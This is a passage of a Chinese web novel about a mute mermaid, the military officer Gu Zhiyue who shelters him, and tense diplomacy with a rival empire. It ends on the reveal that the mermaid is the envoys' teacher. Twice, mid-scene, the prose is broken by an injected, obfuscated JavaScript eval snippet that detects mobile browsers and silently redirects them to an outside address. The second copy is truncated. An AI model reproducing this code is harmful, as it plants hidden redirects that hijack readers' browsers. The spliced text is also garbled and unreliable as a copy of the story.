“应该是不想把事闹大，早早过来商议，这样也好，我们也不想打草惊蛇，”随后胡卿又想到什么，嘱咐道：“你去看看联盟那边网上的新闻舆论，早点防着那些记者，小心踩雷让他们引导舆论借题发挥。” 联盟和存护帝国的网络一般并不相通，罗凯特地换了联盟的内网，本来胡卿还担心会不会有媒体已经捕风捉影闹得满城风雨，然而一打开舆论版块映入眼帘的却是—— “神秘人鱼和顾知越一同回程，路线行程曝光！” “人鱼现身？南星际摆渡场现场直播！大量照片流出！” “专家表示，人鱼是很脆弱的生物，如此长的星际航行可能会对其身体有害，应该尽快送医监护。” ………… 一眼看过去，十条热搜九条和人鱼有关，网友讨论地热火朝天，无人关心其他。 事情有点出乎意料，胡卿和罗凯都愣了半晌。 “什么玩意儿？人鱼？”罗凯皱眉道：“我在存护帝国这么多年都没见过，假的吧？” 胡卿快速翻阅了一下，发现所谓的照片基本全是一些模糊的身影，顶多就是看见那位主人公之一的顾少将怀里抱着一个人，其他什么都看不清，思考了一下，自认合理地分析道：“应该是假的，估计是联盟为了防止泄密和恐慌，故意找人作秀炒热度，转移舆论注意力。” 对此胡卿认同地点点头，“那看来联盟那边还挺聪明，刚好我们也不想打草惊蛇，公关做的不错。” 罗凯恍然大悟，又看了看报告道：“他们还挺会找人，这个顾知越算是近年来军队新星了，简直自带热度，我早想会会他了，但他怀里那个……护这么紧，看起来不像单纯作秀，像是真宝贝啊。” 胡卿猜测道：“可能真是顾知越的小情人，小两口一起演戏更真实一点。” “那他这小情人倒是挺乖巧可人的啊。”罗凯摸了摸下巴道。 “脸都没露，你看出来个啥？” “不用露脸，光看这身段和背影，躲在人怀里怯生生的，可怜又可爱，一看就是我喜欢的类型。” 胡卿警告道：“让你去坑联盟但你好歹有点底线啊。” “感情这种东西，要试试才知道嘛，”罗凯越看越心动，兴致勃勃道：“没准他更喜欢我这款呢。” 胡卿白了他一眼：“懒得管你……别耽误任务也别给老师知道就行，不然你少一层皮都是轻的。” 罗凯正在兴头上，一边翻着网上的照片一边乐呵呵道：“放心，不会的！” 18. 蜻蜓点水 关于人鱼的热搜挂了一天一夜，明明八百张照片没有一张露脸的但也不妨碍网友们狂欢。 而网友们狂欢的热度就是娱乐记者最大的动力，仿佛他们把今年的KPI都赌在了这里，上天入地无所不用其极，哪怕现在顾知越强行让人清理了别墅附近围堵的记者，但还是感觉草丛花坛树林附近处处都是埋伏。 人鱼的热度彻底席卷整个联盟，连顾知越那天南地北到处旅游、已经几乎一年没管儿子死活的亲妈都忽然打来电话，表示对儿子的思念、对儿子的担忧、对儿子的爱……最后再加上一句能不能把人鱼带过来给妈妈看一看——属实图穷匕见。 联盟委员会那边看见网上这么大舆论也愣了下，安全局一开始还思索着要不要管控一下，但转念一想，这边热度起来了，那和存护帝国的外交就不用担心暴露引起恐慌了，简直就是天赐良机，转手还又帮忙投了不少流量。 这下好了，热度居高不下，“鱼门”粉丝直接破千万，一路高歌猛进，有望在本周破亿，各家娱乐公司纷纷避其锋芒。 本着打不过就加入的原则，各种人鱼相关的主题也横空出世，从人鱼的种族科普到人鱼未解之谜，从人鱼同款衣服到人鱼假发、人鱼仿妆……层出不穷、应有尽有，蹭热度的同时也给这个话题实实在在加了一把火。 这火愈演愈烈，终于是难以控制地烧到了顾知越身上，没有人敢从他手上抢人，但“无伤大雅”地小小骚扰一下还是有不少人敢的，于是乎顾知越的私人电话自从回来就没消停过。 可按理说，他们返程的消息不应该泄露，那些记者从何得知？ 顾知越和徐牧查了一晚上，从黑客病毒到人员内鬼，各种手法和高科技想了遍也查了个遍，追根溯源，从网上转载了几千遍的“据知情人士透露”的帖子一路深扒下去，最后终于发现了某个唐姓成员的社交软件—— 唐彦羽有下载一个旅行APP，这个APP有一个功能就是在到达一个新地点后会自动点亮专属星系地图，并且自动发送一条旅行动态：“嗨~我已到达××摆渡场，准备启航——” 甚至还会贴心地加上了定位。 有人无意间扒到唐彦羽的这个账号，稍稍对比了一下时间线发现刚好吻合，于是就这么算出了顾知越他们的大概返程时间。 当然说实话，这种推算是很没保障的，逻辑线十分薄弱，真实性实在不高，然而众所周知，娱乐新闻，最不重要的就是“真实性”。 没人在乎真实性，管他三七二十一大家都这么传，甚至到了最后还幸运地蒙对了。 这么一个可以说纯属倒霉引发的泄密让顾知越和徐牧都十分无语，两人看着面前这个脑袋缩得和鸵鸟一样丝毫不敢出声的唐彦羽，一个赛一个的沉默。 最终还是徐牧开口，安慰道：“算了，往好处想，至少……没病毒也没内鬼不是吗？” 顾知越：“……我的私人账号里现在有五百七十一条短信和一百二十个未接电话，不如你来给我处理了？” 徐牧选择闭嘴，唐彦羽的脑袋更像鸵鸟了。 一旁躺在沙发上看戏的洛尘差点没笑出声，难得看顾知越心累头疼的模样，他甚至忍不住稍稍起身来观望。 其实对于这事，洛尘本人倒是没什么紧张的，这个情况正合他意，所以不同于头疼的众人，他兴致还挺不错。 可怜的小唐搭拢着脑袋默默挨训，余光瞥见一摸白色，几乎是下意识地抬眼看向洛尘。 洛尘的目光正落在顾知越身上，或许是因为对方正背对着他，洛尘的视线大胆了几分，带着一丝调笑地看着对方满脸幽怨地给徐牧展示那满屏红点的通讯目录。 唐彦羽大概能猜到洛尘的本意只是为了看戏玩儿，可同时他的眼神也足够认真，目不转睛，兴致勃勃地注视着顾知越的每一个举动—— 就好像现在的唐彦羽在注视着他一样。 这感觉很奇怪，唐彦羽盯着洛尘的侧颜，几分欣喜，几分落寞。 下一秒，不等唐彦羽搞明白心中那丝矛盾怪异的感觉，洛尘应该是察觉了他的视线，忽然眼眸微动，转而看向了他。 没有太久的停留，仅仅是匆匆一瞥，在视线落到唐彦羽身上那刻，洛尘微微勾起唇角，挑眉轻笑。 唐彦羽不可抑制地心中一动。 那双漂亮的眼睛轻快、随性，哪怕只有一眼唐彦羽都忍不住心绪涌起，仿佛看见那人就站在自己面前，稍稍挑眉，同情而带着点笑意地开口道：“好惨。” 明明这边倒霉地乱成一团，偏偏洛尘却没心没肺地觉得有趣，轻佻又任性，乖张又恣意，可没有一丝让人感到不满，只想随着那双眼睛一起笑。 唐彦羽不由自主屏住呼吸。 可惜洛尘的目光并没有在他这里停留太久，很快就掠过他转向了一旁茶几上的小蛋糕。 手上的甜点吃完了，洛尘稍稍倾身想要拿新的，只是距离有些远，他第一次伸手没有够到。 没有太多犹豫，身体比思绪抢先一步有了反应，唐彦羽立刻上前几步，拿起小蛋糕就要递过去—— 然而就在要送到洛尘手上的那刻，蛋糕忽然被人截胡。 眼看着那个蛋糕被一只手猝不及防“抢去”，唐彦羽一愣，下意识抬头，却看见顾知越不知何时停止了和徐牧的争论，无声无息地到了这里夺过那蛋糕。 唐彦羽不可避免地和顾知越对视上，对方的眼神很平静，颜色深沉，看不见一丝情绪，但唐彦羽止不住浑身一僵。 静默片刻后，只关心蛋糕且有点不明所以的洛尘第一个有了动作，伸手拽了拽顾知越的袖子。 洛尘：我的蛋糕。 顾知越立即转头看向他，目光柔和下来，不过并没有把蛋糕递过去而是随手放到一边，缓声道：“这份放久了，不好吃了。” 接着蹲下身，看着洛尘温声请示道：“我们去花房好不好？那里有准备下午茶。” 面对他的邀请，洛尘没太多犹豫抓住了对方的手表示同意，顾知越顺势把人抱起，稳步离开了这里。 看着渐行渐远的两人，唐彦羽的身体依旧有些僵硬，没有动作，但目光忍不住追随，一路目送两人离开。 那种矛盾怪异的感觉又来了，他忽然有些茫然。 “喂。” 一声呼喊让唐彦羽稍稍回神，他转头，只见徐牧正神色凝重地看着自己，微微皱眉提醒道：“你知道该怎么做了吧。” “啊……”唐彦羽张了张口，那种莫名的茫然感涌上心头，“我、我……” 见人踌躇的模样，徐牧恨铁不成钢，厉声道：“还不快把那个APP给删了！你还准备留着过年吗？？！” “啊？哦、哦！”一语惊醒，唐彦羽赶忙调出设备，当场粉碎删除，“抱歉队长，我删！我现在就删！” ——— 后院，水边花房。 这花房是顾知越带回洛尘后特意设计修建的，刚刚完工，四面由特殊玻璃制成，整个屋子看起来晶莹剔透，内部十分温暖，阳光清透，繁花妆点，是个休憩的绝佳去处，其中的水池与外边的池塘连接，水波清澈，点点落花。 洛尘进入花房后一眼就看见了那水池，眼睛一亮，也不管下午茶什么的了，拍了拍抱着自己的顾知越示意要过去。 顾知越依他，走近将人放到了水中。 一入水，洛尘首先潜入水底，大概是在熟悉环境，顾知越在岸边等了一会儿，待到水面完全平静下来，漂浮的花瓣逐渐悬停，下一刻洛尘忽然钻出，掀起的水珠带着落花一起四溅开来。 顾知越由于离得太近，毫不意外地又被溅了不少水珠，花瓣夹杂在水珠之中，同样落到了他的身上。 看着眼前人沾上的点点花瓣，洛尘眨了眨眼睛，游近一点伸手拾起顾知越衣领上的一片花瓣。 顾知越以为他是想帮忙收拾，随即按住洛尘的手，摇了摇头示意不用，温和道：“没关系，你喜欢这里就好，我去把下午茶端过来。” 说完刚准备起身，但这时一直安静的洛尘突然拉住对方，在对方迟疑停顿之时稍稍借力一跃而起，仰起头精准衔走了顾知越脸颊旁的那瓣玫瑰。 一点温润的凉意掠过，顾知越心中一动。 水面泛起波澜，就如同一只灵巧的鱼儿忽然跃起，在脸颊上轻轻一啄，蜻蜓点水般的转瞬即逝，徒留心中泛起阵阵涟漪。 像一个只属于梦里的吻。 顾知越不由得呼吸变沉，垂眸看向水里的洛尘，对方的眼中是一如既往的清澈湛蓝，只是唇边衔花，多添了那一道殷红。 那道红太过夺目，顾知越的视线无法控制地落在对方唇边，那花瓣柔软，带着细不可察的水珠，他忍不住伸出手，小心翼翼地贴到洛尘的脸侧，拇指轻轻碰了碰那唇角。 洛尘没有躲，歪了歪头像是有点疑惑，稍稍思索了一下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15029883|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概单纯地以为顾知越是想要那片花瓣，于是偏头将唇上衔着的落花放到了顾知越的手心。 掌心接收到一阵柔软温润的触感，顾知越呼吸一滞，看着手心那片殷红的玫瑰，随后又抬眸与洛尘对视，那双眼睛明亮透彻，若晴空海洋，纯净之下又满是生机。 掌心鲜花亦不及他鲜活。 手心余温尚存，一点一滴牵动拉扯心绪，顾知越难以抑制地倾身再度靠近，然而情至此处，他也只是俯身吻了吻洛尘的眉间…… 感受到眉间的气息，洛尘眸光微动 “咳咳！” 突然间，门口一道十分刻意的咳嗽声打破了这有点暧昧的气氛，顾知越一惊，立刻循声看去—— 一个男子不知何时站到了花房门口，他像是有点尴尬但又不得不过来，只能一边别过头一边咳嗽提示。 顾知越看见人愣了一下，接着立刻起身道：“姨父？” 来人正是曹源。 “您怎么忽然过来了，也没通知一声？” 见他们两人分开了，曹源也不再回避，走入花房，有意缓和气氛，玩笑道：“看来我来得不巧，但实在没办法，有点急事，你电话偏偏打不通，只好过来一趟了。” 提到这个顾知越才想起来自己那早已强行断网的通讯器，顿时有些尴尬，歉声道：“抱歉。” 曹源立即摆了摆手，善解人意道：“我知道，网上舆论发酵，联盟甚至还有意拿你当挡箭牌，也是难为你了。” 说话间曹源已经来到了顾知越跟前，瞥见池边的那道身影，注意力无法控制地转移过去。 洛尘正趴在水边望过来，一会儿看看顾知越一会儿又看看曹源，明显对曹源这个“生人”还有点戒备，悄悄地打量着对方。 曹源和那双清澈湛蓝的眼睛对上，只一眼便久久没有回神，直到洛尘甩了甩尾巴，激起的水流声才让他惊醒。 “姨父。” 顾知越上前一步不动声色地挡住曹源的视线，礼貌道：“您过来是有什么事？” 看他这样子曹源顿了一下，接着笑了笑，一语道破：“你这孩子，谈个恋爱还要防着家里人吗？我又没反对。” 说着曹源主动绕过顾知越，正式和洛尘见面，以一个长辈的身份温和慈祥道：“你好啊。” 洛尘看着眼前人，眨了眨眼睛似乎是回应。 家中长辈和心上人初次见面，饶是顾知越都未免有几分紧张，解释道：“他……不会说话。” 曹源点了点头：“我知道的，没事。” 眼前的人鱼白发似雪，人如玉，一眼惊鸿，应是稀世珍宝，难遇难求。 曹源神色温和，刚准备弯腰蹲下身继续熟悉了解一下，洛尘却忽然一甩尾巴，钻入水中游走了。 这举动看起来多少有点不给面子，但曹源没有任何不满生气的意思，只是看着对方游走，随后起身同顾知越认真道：“他是个好孩子。” 眼中慈爱，语气也异常笃定，虽然才刚见了一面，但他似乎真的十分喜爱洛尘。 顾知越一时不知道如何回复，而这时曹源又走近一步，抬手放到顾知越肩上，郑重道：“人鱼十分稀少且珍贵，你一定要守护好他。” 对于这点顾知越自然是不假思索地点头应下。 他当然会。 曹源笑了笑，像是很满意他的回应，放下手，转而道：“好了，见家长的事宜暂时完成，来说正事吧，你能猜到我为什么过来吗？” 话题转开，顾知越也立刻收拾好情绪，依言猜想道：“这个时间点的‘急事’，应该是和存护帝国的外交有关了。” ”对，存护帝国的外交使团已经对接上了，不久就会到达首都星球，你猜这次委员会任命的接待使是谁？” 顾知越想了想，客观分析道：“这次的外交不好办，肯定需要外交经验丰富的来接手。” “且联盟理亏，对存护帝国的使团必定要尽可能的礼遇，资历太浅的不适合，解临江那种出了名对异种不友好的更是不行……如此，我想还是姨父你最合适。” 无论是看能力资历，还是亲和度，曹源都是最优人选。 分析有理有据，曹源听完笑了笑，道：“猜的不错，委员会最初拟定的接待使确实是我，但是——” 他忽然话锋一转，正色道：“就在半小时前，存护帝国外交使团发来文件，专程指定你作为本次唯一接待使。” 19. 议事对峙 “所以，你为什么会选那个顾知越？咱们和他不熟吧？” 罗凯大大咧咧地瘫在沙发上，一边摆弄着屏幕一边随口问道。 此时他们正在联盟安排的使馆内修整，等待明日和联盟的正式会面商讨。 胡卿安排确认好明天的行程，反问道：“那你觉得我应该选谁？” 罗凯想了想道：“那个曹源吧，他算是联盟里难得正常又说得上话的人。” 胡卿哼笑了一声，道：“曹源确实对我们的态度相较温和，但说到底他也是一个老练的政客，你还记得我们这次的任务吗？” 罗凯侧过脑袋：“救人，找到真相，顺便狠狠坑联盟一把。” “对，顾知越是曹源的外甥，两人算一个政党，他对异种的态度也不会过分，且军功在身，近两年风头正盛，地位也不低，最重要的是，这是他第一次处理外交事宜。” 胡卿眼中幽幽，挑眉道：“能选一个小白兔我干嘛要去找一个老狐狸呢？年轻人，总是好拿捏的。” 看胡卿这样子罗凯就知道对方心里的算盘已经打得噼啪响了，默念了一声老狐狸顺便为那位顾少将默哀一下，他惋惜道：“原来是这样啊，我还以为你是想帮我忙呢。” 胡卿一愣：“什么忙？” 提到这个罗凯来劲儿了，立刻坐起身，两眼放光道：“就是顾知越那个‘小情人’啊！你明天过去找机会见见怎么样，带个照片回来，或者能直接把我引荐给他就更好了！” 胡卿：“……你还惦记着呢？？” “我真喜欢！看你我鱼门的粉丝值都已经刷到十八级了！” 胡卿：“………” 罗凯真挚道：“这是心动的感觉。” 胡卿脸上抽了抽：“对着个背影也是心动上了，滚，我才没空管你发春。” 罗凯退而求其次：“那明天带我一块儿去怎么样？” 胡卿字正腔圆：“滚。” 罗凯叹了口气：“行吧，那我明天出去随便逛逛……” 说着他想起什么，忽然脸色一变，下意识压低声音正色道：“上次老师和你通话，说他在联盟做什么来着？” 提到这个胡卿几乎是下意识地神经紧绷起来，回忆道：“他说他在度假。” 罗凯思索了一下，调出城市地图，一边搜索一边喃喃道：“那我把度假景点全部避开，天保佑啊，千万别让我碰见老师……” 胡卿看他这怂样白了一眼，而几秒后突然伸手道：“把那些地点也发我一份。” “你明天不是去见那个顾少将嘛，怎么也不可能碰见老师啊，担心个什么？” 胡卿：“……也对，老师总不能在顾知越家里度假。” ——— “啊啾。” 洛尘忽然小小打了个喷嚏，声音很轻，动静也小，但顾知越还是第一时间察觉，立刻从繁琐的公文资料中抽身过去查看。 “怎么了？着凉了吗？” 顾知越小心探了一下洛尘的体温，感觉并无异常，不过还是立即拿来一个羽绒毯给人披上。 眼看顾知越还是不放心，一边调整温控系统一边准备再裹几件衣服，洛尘及时按住对方示意没事。 洛尘不怕冷也从没着凉过，刚刚只是感觉有人在念叨自己。 确认无事，顾知越却还是没松手，顿了一下，接着小心翼翼地把人揽进怀里。 洛尘轻车熟路地在对方怀里找了个舒服的位置，顺便扫了一眼桌上的各种机密档案文件。 存护帝国点名让顾知越作为本次外交的接待使，事出突然，偏偏顾知越先前并没有正式的外交经验，如今只能临时补习赶工，深夜还在复盘分析这次有关存护帝国来使的资料。 顾知越本想让洛尘先回去休息，但对方并不愿意离开，就这么在自己身边留到半夜。 这会儿大概洛尘也是困了，靠在顾知越胸口打瞌睡，半梦半醒眼睫微颤的模样看得顾知越心怜又心疼。 “小尘，你先去休息好不好？去水池还是卧室？” 顾知越抱着人稍稍低头，在耳边轻声细语道。 洛尘眼角微动，但没有醒过来的意思，而是偏过头完完全全躲到对方怀里。 顾知越一愣，垂眸看了看怀里熟睡的人，又看了看桌上堆积的公务文件。 只犹豫了一秒，下一刻顾知越抬手让系统将书桌上的档案自动收起，随后稳稳地抱着人起身，不再管那些资料公务，抱着人缓缓走出书房一同歇息。 在踏出书房的前一瞬，怀里本该熟睡的洛尘悄悄睁眼，远远瞥了一眼已经完全收拾干净的书桌—— 走就对了，那些资料三分真七分假，看了也是白看，还不如赶紧哄自己睡觉去。 ——— 翌日，清晨，风和日丽，万事俱备。 存护帝国使馆附近早已安排清场，联盟并不希望此事闹大，早给各大媒体网站高层下了指令，没有过多报道也没有堪比游击队的记者，大使馆附近清净得很。 “顾少将，幸会。” 两方按照约定时间会面，胡卿抢先一步，上前握手问好。 顾知越只顿了一下，面前人的模样和资料对上号，他立刻回礼道：“胡部长早安。” 两人握手致意，胡卿笑眯眯道：“早听闻顾少将年少有为，不同凡响，今日一见果然啊。” 胡卿面上和煦，话也好听，但握手的力道却有几分沉，隐隐带着丝压迫感。 顾知越心中通透，并不打算纠缠，客套道：“过奖了，车已经备好，请吧。” 说完顾知越侧身请示，然而胡卿看了看车队，却没有动作，而是问道：“可否问问顾少将，我们去哪儿？” 这话让顾知越愣了愣，接着解释道：“自然是去议事堂商讨本次事宜，胡部长放心，全程都由我对接，不会有‘外人’。” 顾知越也猜到，存护帝国指定自己作为接待使八成是想仗着自己没太多经验坑人，自然不想有其他委员会成员过多掺和进来。 存护帝国有私心，但联盟理亏，这点儿也就认了。 “我不是这个意思，我只是想说……能不能换个地方？” 顾知越稍显意外，但还是礼貌道：“胡部长想去哪里？” 胡卿笑了笑，故作轻松道：“这是头一天，不用搞得这么正式，顾少将如果方便的话……我们就去您家里坐坐吧。” 按理说外交会面商讨一般都在联盟专门的议事堂，但胡卿要的就是一个出其不意，不让联盟有任何监视埋伏的机会，见对方有些错愕的样子，他十分满意。 “家中今日都没什么准备，恐怕招待……” 胡卿不等人说完直接上前，边推边催促道：“要的就是没准备，随意一点就好，就当普通做客，好了好了，就这么说定了，快些走吧。” 胡卿话里话外都圆滑，顾知越实在没办法强硬拒绝，只好这么半推半就地改了地方，一路来到家门前。 胡卿嘴上客气，行动可一点儿不客气，进了别人家门丝毫不见外，根本不理会顾知越这个东道主的安排，不去会客厅也不去书房，径直顺着小道往屋子后院里跑，顾知越手底下的人拦都拦不住。 “这花花草草，亭台池水的，想不到顾少将如此有闲情雅致啊，后院真漂亮。” 胡卿走在水边小径上，一边欣赏景色一边感叹道。 他这副出来游山玩水的模样可把跟随在顾知越身边的外交使急得不行，正当有人忍不住想要上前劝他赶紧回去谈正事的时候，胡卿忽然发话，看着跟随过来的一大帮子人驱赶道：“还跟着做什么？我和你们顾少将看会儿风景，之前不是说了吗？才第一天，正事往后放一放，急什么？” “回去回去，这么多人吵吵嚷嚷的，浪费了这美景啊。” 这一出给后边的人整不会了，他们下意识看向顾知越，却见对方沉默了片刻，接着同意道：“没事，你们先去会客厅吧，我陪胡部长一会儿。” 如此其他人也不好再说什么，纷纷转身离开，这花园之中只剩下顾知越和胡卿。 胡卿似乎很满意这结果，面上带笑。 而两人间的“友善”还没能持续五秒，胡卿一改先前随和客气的态度，明明上一秒还在夸奖顾知越这花园漂亮，下一秒猝不及防问道：“关于本次案件，请问联盟的各位是什么态度？” 正事终于开篇，顾知越毫不意外，冷静道：“我们同样很重视，已经在全力追查，寻找真凶。” 胡卿哼笑一声，一语道破：“全力追查？若是全力，那之前怎么会只安排一个调查组？” 顾知越刚想解释什么，胡卿直接打断道：“甚至还是保密调查，这真是瞒上瞒下，外人瞒着，自己人也瞒着，你们还真挺有趣。” “当然，既然还让调查了，那看来委员会没少开会也没少吵架，毕竟你们这儿的党派集团五花八门，比我家菜系都复杂。” 说着胡卿还不忘调侃一句，“来让我猜猜，你们上一次开会吵架了没有？我猜肯定吵了。” “哦，对了，关于那个嫌疑犯的事你们也别问我了，那个家伙精神重度污染，审讯是不可能的，依照我们的法律直接判死刑了，别说他是你们的公民，你们联盟的法律复杂，流程也烦得很，还经常受舆论引导，要真送回来，没准都判不了死刑，我年纪大了，不想找气受。” “最后一点就是，我也不是不讲理，我知道这案子本身和联盟没什么关系，但是——” 胡卿冷笑道：“目前案件相关的两个人员全部都是歧视者，你们委员会内部分歧，对异种的态度一直模糊，导致这类歧视者在联盟屡见不鲜，要论起来……这案子能闹成这样，也算你们联盟间接推波助澜的。” 这一连串指责下来，称得上咄咄逼人，顾知越中途可以说是话都插不上。 待胡卿暂时停下，好整以暇地看着对方，本以为顾知越会想方设法地辩解，甚至是怒而反驳，然而他却只是道：“我明白，此事是联盟的错。” 遭了一通冷嘲热讽，顾知越的语气依旧得体，开门见山道：“联盟确实需要担主要责任，胡部长放心，我们清楚这一点，也不打算推脱，所以现在……” 顾知越抬眼，认真道：“请胡部长直接说明诉求，我们会以最大的诚意认真对待。” 如此不卑不亢，叫人挑不出半点错来。 胡卿打量了一下对方，挑了挑眉。 刚刚胡卿的一番谴责是下马威亦是给顾知越挖的一个坑，若他因此被激怒失态，那就是给胡卿送把柄，只会让联盟在本次谈判中更加举步维艰，不过顾知越没跳坑，虽然处于劣势，但是稳稳接住了话。 想不到这小年轻心性还可以，稍稍失算，胡卿也不含糊，直言道：“有关这个案子的资料和进度我们要求联盟全部共享，这件案子的优先级尽可能地升高，各部门的权限都要放开。” “委员会要承认我们的身份，在调查过程中我们的人拥有和你们一样的执法权，关于嫌犯的审判不接受任何从轻处罚的理由，且审判结果必须和我们达成一致。” “最后一点，”胡卿顿了一下，慢慢道：“我们会调两个军区行动小组前来帮忙，让他们入境，并且允许他们在联盟合法携带武器。” 听到这儿，顾知越脸色稍变。 胡卿所提的其他条件还好，顾知越基本同意，然而允许行动组带着武器入境，真算起来就和允许军队驻扎一样，实在有点过分。 顾知越抿了抿唇，没有直说，而是暗示道：“胡部长，这里是联盟的首都星球。” 首都允许他国军队武装驻扎，怎么听怎么离谱。 胡卿从容地耸了耸肩，笑道：“我自然知道。” 这是打定主意了，顾知越思索了片刻，严谨道：“胡部长你之前说的条件我们都可以办到，但最后一项，可能有些困难。” 胡卿挑眉：“顾少将刚刚只让我说诉求，那困不困难，不是我考虑的范围。” 想不到这儿也是一个坑，顾知越斟酌了一下，妥帖让步道：“存护帝国的行动小队可以进入，但不允许私自携带武器，相应的，联盟会为其提供一些武器。” “什么样的武器？” 顾知越道：“这个会由安全局来选择评定。” 老实说这结果不是胡卿最满意的，但讨价还价也是有底线的，见好就收就行，于是他先假装纠结了一会儿，最后道：“行吧，我接受，那么——” “还有，”顾知越忽然打断了对方，“具体入境的人员和人数也需要委员会进一步讨论。” 胡卿顿了一下，脸色稍变：“不是说了吗，两个小队。” “一个小队可以是三个人、可以是十个人也可以是一百人，联盟和存护帝国规章制度毕竟不同，还是论清楚最好，免得闹出误会。” 胡卿皱了皱眉，沉声道：“顾少将还真是十分严谨啊。” “当然，”顾知越彬彬有礼道：“而且胡部长还特意打开了记录仪，想必也是十分重视，我又怎么能怠慢。” 说着抬手示意了一下胡卿胸口那个伪装成胸针的记录仪，礼貌性地笑了笑。 顾知越早发现这东西了，他知道两人的谈话都被记录，但凡含糊不清的地方都容易被玩文字游戏，哪怕只是个口头承诺也会在谈判时掰扯不清楚。 胡卿下意识瞥了一眼自己胸口的记录仪：“……” 小兔崽子，倒挺聪明，不上套啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但胡卿的好奇心上来了，忍不住张望着那片荷花丛，道：“何必去别处，这事我也早有耳闻，老实说我在存护帝国这么多年也从未见过传说中的人鱼，实在好奇，顾少将要不行个方便引荐一下？” 这个请求不算太过分，比起之前的施压暗讽更是和善不少，然而顾知越却不假思索地直接拒绝：“不行。” 胡卿一愣，下意识打量着面前这人。 此时的顾知越脸色已经有些沉了下来，神色凝重，态度坚决。 胡卿有些意外，方才他各种试探对方底线都没能让顾知越有多少动容，现在只是提了一句那人鱼情绪波动就这么大，这么在意吗？ 胡卿来了兴趣：如此在意，那是逆鳞，也是软肋。 “早听说顾少将护人护得紧，但现在横竖都在家中，见一面又如何，难不成还能有什么见不得人的？” 这话似乎只是玩笑，但顾知越可不觉得对方怀着什么好意，眉头紧锁，抬手请人离开花园，沉声道：“家中事不宜多言，风景看的也差不多了，请移步茶厅吧，或者今日就到此为止，胡部长直接回大使馆也行。” 潜台词基本就是：要么闭嘴，要么滚。 胡卿顿了顿，随后忍不住笑了一声，挑眉道：“好，去茶厅。” 已经认准了对方的软肋，胡卿可不会轻易放过他，一路上时不时挑起话题来。 “顾少将是在什么地方遇见那人鱼的？” 顾知越并不作答。 “传说人鱼泣泪成珠，织水为纱，容颜绝美，性格温柔，是真的吗？” 依旧不答。 “看来应该是真的，惹得我们顾少将如此喜爱，但……严格来说人鱼应该也算是异种吧，若要论起来，他的归属理应同我们存护帝国商议才对吧？” 话到这儿，一直沉默的顾知越终于停下脚步，瞥了一眼身边的人，尽量稳定住情绪，冷冷道：“胡部长警言慎行。” “怎么了？” “你会吓到他的。” 语气里有几分警告的意味，不过胡卿并不害怕，随即笑了笑，道：“怕生啊，果然可爱，但最好还是让他学着习惯，多见见场面就好了。” 顾知越不想听这些话，眼看已经走到了茶厅前边，刚准备让人赶紧进入，可这时里边忽然传来一连串清脆的击打声。 像是什么人正拿着勺子敲击着杯碗，叮叮咚咚，调子没什么章法但也不觉得杂乱，就像是山泉落水，自得天然神韵。 不过有趣归有趣，在这用来准备商议正事地方一通敲打，多少有点不成体统。 门口的两人皆是一愣，正奇怪着，忽然有侍者从茶厅中匆匆走出，看见顾知越后赶忙跑来，指着茶厅内慌张道：“顾少将，那个，他……” 下一秒注意到后边的胡卿，又立刻噤声。 但胡卿也不傻，这个时间和地方干这么“不体统”的事，侍者还无可奈何只能来找顾知越本人，那只能是那个被捧在心尖的人鱼了。 “看来我们有缘啊，”胡卿笑道：“如此那一定要见一见了。” 顾知越还想拒绝，但胡卿接着道：“这里可是顾少将你说定的地方，再反悔就太失礼了吧。” 这种情况顾知越确实不好再拦，不能拦那便只能护，他抢先一步走入茶厅，一眼看见坐在桌边兴致勃勃敲着各色杯子的洛尘。 各种精美、华贵又价值连城的杯盏在洛尘手底下一视同仁，他拿着一株不知道从哪儿折来的花枝，随心所欲地叮咚敲击着，没有乐章，全凭感觉，好似山间玩乐的精灵。 这画面有几分风雅逸趣，但和今日这肃穆的气氛格格不入，不过哪怕这种情况下，顾知越看见洛尘的第一反应还是轻笑，快步走过去，温声道：“小尘。” 洛尘抬头，看着顾知越眨了眨眼睛，湛蓝的眼睛中带着笑意，而下一刻他的目光不动声色地越过顾知越看向后方。 后边的胡卿紧接着也气定神闲地迈入茶厅，余光瞥见一道人影，随即转头望过去。 说实话，虽然本意是给顾知越施压，但胡卿心中止不住也有几分真情实感的兴奋和期待，毕竟那可能是人鱼，连他都未曾见过，传说中最神秘、美丽、善良、纯洁的—— …… ……… “噗通！” 一旁端着茶水进入的侍者眼前一闪，眼瞅着刚刚还好好站着的贵客突然跪倒，像是猝亡了一样浑身软绵绵地倒下，他惊慌失措地赶紧去扶。 “胡部长？胡部长？！你怎么了？？没事吗？？胡部长——！” 最神秘、美丽、善良、纯洁的…… 是老师。 ……救命。